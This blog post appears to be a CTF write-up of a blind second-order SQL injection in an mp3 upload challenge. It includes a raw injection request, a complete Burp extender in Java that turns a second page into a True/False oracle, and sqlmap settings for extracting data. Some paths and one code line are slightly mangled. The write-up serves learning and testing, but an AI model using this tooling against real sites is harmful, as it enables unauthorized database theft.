Blind Second Order SQL Injection with Burp and SqlMap

My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn’t blind – that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It’s something I’d never done before, and I thought it was an interesting problem. (I go off on tangents a lot – acme is awesome for still letting me be a pretty much non-contributing member of their team).

The Injection

The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:

POST /mp3_world/index.php?page=upload HTTP/1.1
Host: 1.237.174.123:3333
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 404

-----------------------------265001916915724
Content-Disposition: form-data; name="mp3"; filename='badfi"le.mp3'
Content-Type: text/plain

bad'"
-----------------------------265001916915724
Content-Disposition: form-data; name="genre"

if(1=1 ,1, 2)
-----------------------------265001916915724
Content-Disposition: form-data; name="title"

9 95
-----------------------------265001916915724--

Notice the  if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.

So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?

Extending Burp to Return the Oracle to an Injection Request

So here’s the strategy:

  • Do the injection request.
  • The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli
  • Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful

The following code does this:

package burp;

import java.net.*;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender
{
    public IBurpExtenderCallbacks mCallbacks;

    //victimRequest is the value that triggers the alternate response
    public static String victimRequest = "1.237.174.123";
    //replacementResponse replaces the response with this new one
    public static String replacementResponse = "http://1.237.174.123:3333/mp3_world/?page=player";
    public static String injectionOracle = "[hiphop]";
    public static String deleteOld = "http://1.237.174.123:3333/mp3_world/?page=upload&del=";

    public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo)
    {
        if (!messageIsRequest)
        {
            if (messageInfo.getHost().equals(victimRequest))
            {
                boolean respvalue = false;
                try {
                    //assume this is our sql injection response; make a second request to return
                    System.out.println("This request needs a modified response");
                    //make a request to the second order to see if True or False
                    //with this one, no need for cookies or anything - it's based on IP
                    URL sqlcheck = new URL(replacementResponse);
                    URLConnection sc = sqlcheck.openConnection();
                    BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream()));

                    String inputLine;
                    String delIndex = "";
                    //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false
                    while ((inputLine = in.readLine()) != null)
                    {
                        if (inputLine.contains(injectionOracle))
                            respvalue = true;
                        //grab all the indexes so we can delete them later = format "idx=?"
                        if (inputLine.contains("idx="))
                        {
                            int sindex = inputLine.indexOf("idx=");
                            int eindex = inputLine.indexOf(""", sindex);
                            delIndex = inputLine.substring(sindex+4, eindex);
                        }
                    }
                    in.close();
                    String resp;
                    if (respvalue)
                        resp = "True";
                    else
                        resp = "False";
                    byte[] bResp = resp.getBytes();

                    messageInfo.setResponse(bResp);

                    //Clean up old songs
                    System.out.println("Deleting " + delIndex);
                    String delstr = deleteOld + delIndex;
                    URL delRequest = new URL(delstr);
                    URLConnection deslc = delRequest.openConnection();
                    in = new BufferedReader(new InputStreamReader(deslc.getInputStream()));
                    in.close();

                }
                catch (java.io.IOException ex){
                    System.out.println("something's wrong");
                }
                catch (java.lang.Exception ex){
                    System.out.println("something else is wrong");
                }
            }
        }

    }

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        mCallbacks = callbacks;
    }
}

To compile, it should look like this (the source file is BurpExtender.java). Here’s a command dump as a sanity check


PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2/25/2012   5:00 PM            burp
-a---         2/25/2012   5:00 PM       6445 BurpExtender.java
-a---         2/25/2012   3:47 PM        571 requestfile.ini
-a---         2/25/2012   6:16 PM      17168 sqlmap.config

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> javac .BurpExtender.java
Note: .BurpExtender.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> rm .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> mv .BurpExtender.class .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> jar -cf .burpextender.jar .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> cd .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         2/25/2012   7:37 PM       4062 BurpExtender.class
-a---         2/24/2012  11:51 PM        345 burpextender.jar
-a---          6/3/2011   7:56 AM       7919 IBurpExtender.java
-a---         2/24/2012  11:19 PM       1587 IBurpExtenderCallbacks.class
-a---         2/24/2012  11:04 PM      13131 IBurpExtenderCallbacks.java
-a---         2/24/2012  11:19 PM        659 IHttpRequestResponse.class
-a---          6/3/2011   7:55 AM       4040 IHttpRequestResponse.java
-a---         2/24/2012  11:19 PM        196 IMenuItemHandler.class
-a---          6/3/2011   7:56 AM       1453 IMenuItemHandler.java
-a---         2/24/2012  11:19 PM        477 IScanIssue.class
-a---          6/3/2011   7:56 AM       2826 IScanIssue.java
-a---         2/24/2012  11:19 PM        347 IScanQueueItem.class
-a---          6/3/2011   7:56 AM       2309 IScanQueueItem.java

Then to run:

java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp

With this, you can make requests with Burp and it returns True or False in the single response.

Fenangling sqlmap

It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.

I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).

That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the ‘1’. By the way, the syntax is MySql.

asdfghbleh=1&aftercrap=crap

Replace asdfghbleh= with “if (1=”

Replaces &aftercrap=crap with “,1,2)”

So, for example, the base query has (in the genre param)

if (1=1, 1, 2)

Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.


#Base request from repeater with tags
requestFile = requestfile.ini
proxy = http://localhost:8080
testParameter = asdfghbleh
dbms = mysql
tech = B

After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead…

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: